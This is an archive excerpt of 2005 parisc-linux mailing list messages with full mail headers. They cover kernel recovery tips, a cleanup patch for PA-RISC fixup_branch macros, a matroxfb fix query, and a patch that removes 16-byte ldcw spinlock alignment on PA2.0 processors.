X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J2PQYltueSEkSL6WZHQhaXN1IGRvb8CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22761



Grant Grundler wrote:
> On Fri, Jun 03, 2005 at 04:36:13PM -0300, Daniel Coletti wrote:
> 
>>Since I used the HP console I don't have the full output,
> 
> 
[...]
> 
> Yes, probably. Joel should be able to point at one on
> http://cvs.parisc-linux.org/download/linux-2.6 that
> will work for you.
> 
Sorry, my colleague need it to test some custom gloden image (Ignite -> cd).
So my latest test (as reported <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-April/026254.html>) seems to be a bit 
outdated and spoken about 2.6.11-pa?
btw which kernel is in used on nicol for the moment?

> Getting it on the machine is another issue.
> See the other thread on debian-hppa mailing list for ideas
> on how to replace a kernel on a non-booting machine.
> 
The main tips is to boot from the install cd and scroll the install menu to start a shell command ;-)

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Some other cleanup [Was: [parisc-linux] c3k panics]
Date: Sun, 05 Jun 2005 19:15:56 +0000
Lines: 201
Approved: news@gmane.org
Message-ID: <42A34F6C.7030903@tiscali.be>
References: <4282FEEE0000724C@mail-5-bnl.tiscali.it>
	<20050531062619.GI3050@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623799 14779 80.91.229.3 (22 Nov 2014 02:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2005 19:16:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 05 Jun 2005 21:16:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54DE17D698;
	Sun,  5 Jun 2005 13:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23353-10; Sun, 5 Jun 2005 13:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58D4E7D6A3;
	Sun,  5 Jun 2005 13:16:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3A687D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 13:16:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23312-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Jun 2005 13:16:01 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 3995B7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 13:16:01 -0600 (MDT)
Original-Received: from [83.134.223.125] (helo=[83.134.223.125])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Df0bH-0000KL-UC; Sun, 05 Jun 2005 21:16:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050531062619.GI3050@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LSrRYo5seSEkf76WZHQhaXN1IGRvbwCf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22762

Hello Randolph,


Randolph Chung wrote:
>>Ok clear but still confused why 32bit branch doesn't nullify the insn
>>in delay slot like did 64bit?
> 
> 
> it's a bug, but fortunately that copy of the fixup_branch macro (in
> syscall.S) isn't actually used ;-) I'll remove it.
> 
> 
Just in the hope of help here are some cleanup:
	o at a place there was 2 enbraced #ifdef CONFIG_PA20,
	o in #else /* !CONFIG_PA20 */ ... #endif , afaik there are few chance that __LP64__ (aka CONFIG_64BIT)?
	o the (micro)-optimization we spoke previoulsy
	o here above syscall.S
--- arch/parisc/kernel/unaligned.c.Orig	2005-06-05 19:18:19.000000000 +0200
+++ arch/parisc/kernel/unaligned.c	2005-06-05 20:17:47.000000000 +0200
@@ -39,10 +39,15 @@
  #define RFMT "%08lx"
  #endif

+#ifndef	CONFIG_64BIT
+#define FIXUP_BRANCH(lbl) \
+	"\tb,n " #lbl "\n"
+#else
  #define FIXUP_BRANCH(lbl) \
  	"\tldil L%%" #lbl ", %%r1\n"			\
  	"\tldo R%%" #lbl "(%%r1), %%r1\n"		\
  	"\tbv,n %%r0(%%r1)\n"
+#endif

  /* 1111 1100 0000 0000 0001 0011 1100 0000 */
  #define OPCODE1(a,b,c)	((a)<<26|(b)<<12|(c)<<6)
@@ -213,6 +218,7 @@

  	return ret;
  }
+
  static int emulate_ldd(struct pt_regs *regs, int toreg, int flop)
  {
  	unsigned long saddr = regs->ior;
@@ -254,7 +260,7 @@
  	: "=r" (val), "=r" (ret)
  	: "0" (val), "r" (saddr), "r" (regs->isr)
  	: "r19", "r20" );
-#else
+#else	/* !CONFIG_PA20 */
      {
  	unsigned long valh=0,vall=0;
  	__asm__ __volatile__  (
@@ -275,22 +281,16 @@
  	FIXUP_BRANCH(4b)
  "	.previous\n"
  "	.section __ex_table,\"aw\"\n"
-#ifdef __LP64__
-"	.dword	1b,5b\n"
-"	.dword  2b,5b\n"
-"	.dword	3b,5b\n"
-#else
  "	.word	1b,5b\n"
  "	.word	2b,5b\n"
  "	.word	3b,5b\n"
-#endif
  "	.previous\n"
  	: "=r" (valh), "=r" (vall), "=r" (ret)
  	: "0" (valh), "1" (vall), "r" (saddr), "r" (regs->isr)
  	: "r19", "r20" );
  	val=((__u64)valh<<32)|(__u64)vall;
      }
-#endif
+#endif	/* !CONFIG_PA20 */

  	DPRINTF("val = 0x%llx\n", val);

@@ -393,6 +393,7 @@

  	return 0;
  }
+
  static int emulate_std(struct pt_regs *regs, int frreg, int flop)
  {
  	__u64 val;
@@ -451,7 +452,7 @@
  	: "=r" (ret)
  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
  	: "r19", "r20", "r21", "r22", "r1" );
-#else
+#else	/* !CONFIG_PA20 */
      {
  	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
  	__asm__ __volatile__ (
@@ -479,25 +480,17 @@
  	FIXUP_BRANCH(6b)
  "	.previous\n"
  "	.section __ex_table,\"aw\"\n"
-#ifdef __LP64__
-"	.dword	1b,7b\n"
-"	.dword  2b,7b\n"
-"	.dword	3b,7b\n"
-"	.dword  4b,7b\n"
-"	.dword  5b,7b\n"
-#else
  "	.word	1b,7b\n"
  "	.word	2b,7b\n"
  "	.word	3b,7b\n"
  "	.word	4b,7b\n"
  "	.word  	5b,7b\n"
-#endif
  "	.previous\n"
  	: "=r" (ret)
  	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
  	: "r19", "r20", "r21", "r1" );
      }
-#endif
+#endif	/* !CONFIG_PA20 */

  	return ret;
  }
@@ -683,14 +676,12 @@
  		ret = emulate_std(regs, R2(regs->iir),1);
  		break;

-#ifdef CONFIG_PA20
  	case OPCODE_LDD_L:
  		ret = emulate_ldd(regs, R2(regs->iir),0);
  		break;
  	case OPCODE_STD_L:
  		ret = emulate_std(regs, R2(regs->iir),0);
  		break;
-#endif
  	}
  #endif
  	switch (regs->iir & OPCODE3_MASK)
@@ -774,8 +765,7 @@
   * now, so we only check for PA1.1 encodings at this point.
   */

-int
-check_unaligned(struct pt_regs *regs)
+int check_unaligned(struct pt_regs *regs)
  {
  	unsigned long align_mask;

--- arch/parisc/kernel/syscall.S.Orig	2005-06-05 19:52:36.000000000 +0200
+++ arch/parisc/kernel/syscall.S	2005-06-05 19:57:15.000000000 +0200
@@ -23,23 +23,7 @@
  	 */
  #define KILL_INSN	break	0,0

-#ifdef CONFIG_64BIT
-	.level          2.0w
-#else
-	.level		1.1
-#endif
-
-#ifndef CONFIG_64BIT
-	.macro fixup_branch,lbl
-	b	    \lbl
-	.endm
-#else
-	.macro fixup_branch,lbl
-	ldil	    L%\lbl, %r1
-	ldo	    R%\lbl(%r1), %r1
-	bv,n        %r0(%r1)
-	.endm
-#endif
+	.level		LEVEL

  	.text

--- arch/parisc/lib/lusercopy.S.Orig	2005-06-05 19:36:55.000000000 +0200
+++ arch/parisc/lib/lusercopy.S	2005-06-05 20:02:51.000000000 +0200
@@ -54,9 +54,13 @@
  	.endm

  	.macro fixup_branch lbl
-	ldil	    L%\lbl, %r1
-	ldo	    R%\lbl(%r1), %r1
-	bv          %r0(%r1)
+#ifndef CONFIG_64BIT
+	b		\lbl
+#else
+	ldil		L%\lbl, %r1
+	ldo		R%\lbl(%r1), %r1
+	bv		%r0(%r1)
+#endif
  	.endm

  	/*
====<>====

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] matroxfb bugfix
Date: Mon, 6 Jun 2005 17:55:16 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20050606165516.GA25251@ntlworld.com>
References: <20050601010422.GA17369@ntlworld.com>
	<4282FEEC00007D33@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623799 14784 80.91.229.3 (22 Nov 2014 02:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 16:55:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 06 Jun 2005 18:55:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93D717D6C7;
	Mon,  6 Jun 2005 10:55:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30964-07; Mon, 6 Jun 2005 10:55:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 065DA7D6C8;
	Mon,  6 Jun 2005 10:55:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1F6E7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 10:55:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31083-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 10:55:22 -0600 (MDT)
Original-Received: from mta07-winn.ispmail.ntl.com (mta07-winn.ispmail.ntl.com
	[81.103.221.47])
	by free.linux.hp.com (Postfix) with ESMTP id B68AF7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 10:55:21 -0600 (MDT)
Original-Received: from aamta10-winn.ispmail.ntl.com ([81.103.221.35])
	by mta07-winn.ispmail.ntl.com with ESMTP id
	<20050606165520.JNUD6745.mta07-winn.ispmail.ntl.com@aamta10-winn.ispmail.ntl.com>;
	Mon, 6 Jun 2005 17:55:20 +0100
Original-Received: from janus ([82.9.44.76]) by aamta10-winn.ispmail.ntl.com with ESMTP
	id <20050606165520.LOBI24546.aamta10-winn.ispmail.ntl.com@janus>;
	Mon, 6 Jun 2005 17:55:20 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DfKsf-0006Zd-00; Mon, 06 Jun 2005 17:55:17 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Joel Soete <soete.joel@tiscali.be>
Content-Disposition: inline
In-Reply-To: <4282FEEC00007D33@mail-2-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VuXWYuIqeSEkTr6WZHQhaXN1IGRvb4Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22763

On Wed, Jun 01, 2005 at 03:42:14PM +0200, Joel Soete wrote:
> Just for the record, I noticed that 2.6.11.11 patch contained:
> [snip]
>     [PATCH] Fix matroxfb on big-endian hardware
> [snip]
> 
> Is it already part of 2.6.12-rc5?

It's in the changelog for 2.6.12-rc2.

Has anyone tested it on parisc?  (Apparently the corruption only occured
in accelerated mode.)
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@fattire.cabal.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 01:07:02 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <20050609050702.GB4641@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623799 14790 80.91.229.3 (22 Nov 2014 02:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 05:10:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 09 Jun 2005 07:10:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 273D47D76B;
	Wed,  8 Jun 2005 23:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21388-06; Wed, 8 Jun 2005 23:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20B4F7D76C;
	Wed,  8 Jun 2005 23:09:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB92B7D76A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 23:09:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21284-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Jun 2005 23:09:53 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 39FEC7D767
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 23:09:53 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 36E8017050
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 01:09:52 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02737-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 01:09:41 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id F2B111707B; Thu,  9 Jun 2005 01:09:40 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x971589772-52656d6f746546617454697265-494e424f582e4f7574626f78: 1118293705-0868238612753-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fqrVYpBaeSEka76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22764

The 16-byte alignment for ldcw doesn't seem to be required on PA2.0
processors (though the details of the insn in the manual are confusing)
so let's get rid of it.

This is a rather nice savings:
    text    data     bss     dec     hex filename
4020166 1814920  368896 6203982  5eaa4e vmlinux
4096278 1822416  373400 6292094  60027e vmlinux.orig

The comment on the PA2.0 case could use a little work though. :)

(I also added labels to the __SPIN_LOCK_UNLOCKED, as in the
 first pass through, I missed that, which caused very interesting
 build warnings...)

cheers,
	kyle

Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.10
diff -u -d -p -r1.10 spinlock.h
--- include/asm-parisc/spinlock.h	7 Mar 2005 15:05:48 -0000	1.10
+++ include/asm-parisc/spinlock.h	9 Jun 2005 04:23:03 -0000
@@ -10,7 +10,12 @@
 
 #ifndef CONFIG_DEBUG_SPINLOCK
 
-#define __SPIN_LOCK_UNLOCKED	{ { 1, 1, 1, 1 } }
+#ifdef CONFIG_PA20
+#define __SPIN_LOCK_UNLOCKED    { .lock = 1, }
+#else
+#define __SPIN_LOCK_UNLOCKED	{ .lock = { 1, 1, 1, 1 }, }
+#endif
+
 #undef SPIN_LOCK_UNLOCKED
 #define SPIN_LOCK_UNLOCKED (spinlock_t) __SPIN_LOCK_UNLOCKED
 
Index: include/asm-parisc/system.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.11
diff -u -d -p -r1.11 system.h
--- include/asm-parisc/system.h	4 Jun 2005 07:11:25 -0000	1.11
+++ include/asm-parisc/system.h	9 Jun 2005 04:23:03 -0000
@@ -145,6 +145,7 @@ static inline void set_eiem(unsigned lon
 	__ret; \
 })
 
+#ifndef CONFIG_PA20
 /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
    and GCC only guarantees 8-byte alignment for stack locals, we can't
    be assured of 16-byte alignment for atomic lock data even if we
@@ -152,6 +153,7 @@ static inline void set_eiem(unsigned lon
    we use a struct containing an array of four ints for the atomic lock
    type and dynamically select the 16-byte aligned int from the array
    for the semaphore.  */
+
 #define __PA_LDCW_ALIGNMENT 16
 #define __ldcw_align(a) ({ \
   unsigned long __ret = (unsigned long) &(a)->lock[0];        		\
@@ -159,13 +161,26 @@ static inline void set_eiem(unsigned lon
   (volatile unsigned int *) __ret;                                      \
 })
 
+#else /*CONFIG_PA20*/
+/* Apparently this architectural requirement was removed from PA2.0
+   processors. So we'll forego the 16-byte alignment on these machines. */
+
+#define __PA_LDCW_ALIGNMENT 4
+#define __ldcw_align(a) ((volatile unsigned int *)a)
+
+#endif /*!CONFIG_PA20*/
+
 #ifdef CONFIG_SMP
 /*
  * Your basic SMP spinlocks, allowing only a single CPU anywhere
  */
 
 typedef struct {
-	volatile unsigned int lock[4];
+#ifdef CONFIG_PA20
+	volatile unsigned int lock;
+#else
+        volatile unsigned int lock[4];
+#endif
 #ifdef CONFIG_DEBUG_SPINLOCK
 	unsigned long magic;
 	volatile unsigned int babble;

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Wed, 8 Jun 2005 23:47:00 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <20050609054700.GA9450@colo.lackof.org>
References: <20050609050702.GB4641@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623800 14794 80.91.229.3 (22 Nov 2014 02:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@fattire.cabal.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 05:43:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 09 Jun 2005 07:43:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EB0E7D767;
	Wed,  8 Jun 2005 23:43:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21648-06; Wed, 8 Jun 2005 23:43:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50C287D76A;
	Wed,  8 Jun 2005 23:43:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 353897D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 23:43:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21648-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Jun 2005 23:43:19 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A10E87D717
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 23:43:19 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A418829803C;
	Wed,  8 Jun 2005 23:47:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04007-02; Wed, 8 Jun 2005 23:47:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 29580298034; Wed,  8 Jun 2005 23:47:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050609050702.GB4641@roadwarrior.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
